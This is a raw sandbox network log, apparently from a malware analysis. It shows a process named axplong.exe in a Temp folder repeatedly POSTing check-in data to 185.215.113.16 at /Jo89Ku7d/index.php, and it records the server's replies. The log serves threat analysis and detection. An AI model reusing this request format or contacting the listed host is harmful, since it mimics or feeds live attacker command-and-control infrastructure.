                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            55192.168.2.449792185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:11.005228996 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:11.738280058 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:11 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            56192.168.2.449793185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:11.865564108 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:12.592483997 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:12 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            57192.168.2.449794185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:12.602617025 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:13.380734921 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:13 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            58192.168.2.449795185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:13.518901110 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:14.229989052 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:14 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            59192.168.2.449796185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:14.241715908 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:14.954066992 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:14 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            60192.168.2.449797185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:15.096637011 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:15.814302921 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:15 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            61192.168.2.449798185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:15.824390888 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:16.566323996 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:16 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            62192.168.2.449799185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:16.687654972 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:17.377526999 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:17 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            63192.168.2.449800185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:17.390743971 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:18.113296986 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:18 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            64192.168.2.449801185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:18.234447002 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            65192.168.2.449802185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:18.796744108 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:19.543080091 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:19 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            66192.168.2.449803185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:19.657233000 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:20.365854025 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:20 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            67192.168.2.449804185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:20.377222061 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            68192.168.2.449805185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:20.500839949 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:21.212531090 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:21 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            69192.168.2.449806185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:21.224936962 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:21.959649086 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:21 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            70192.168.2.449807185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:22.094769001 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:22.904445887 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:22 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            71192.168.2.449808185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:22.917563915 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:23.651060104 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:23 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            72192.168.2.449809185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:23.768018961 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:24.469558001 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:24 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            73192.168.2.449810185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:24.479502916 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:25.190512896 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:25 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            74192.168.2.449811185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:25.312542915 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:26.025213003 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:25 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            75192.168.2.449812185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:26.037543058 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:26.771418095 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:26 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            76192.168.2.449813185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:26.898294926 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:27.589864016 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:27 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:27.595889091 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
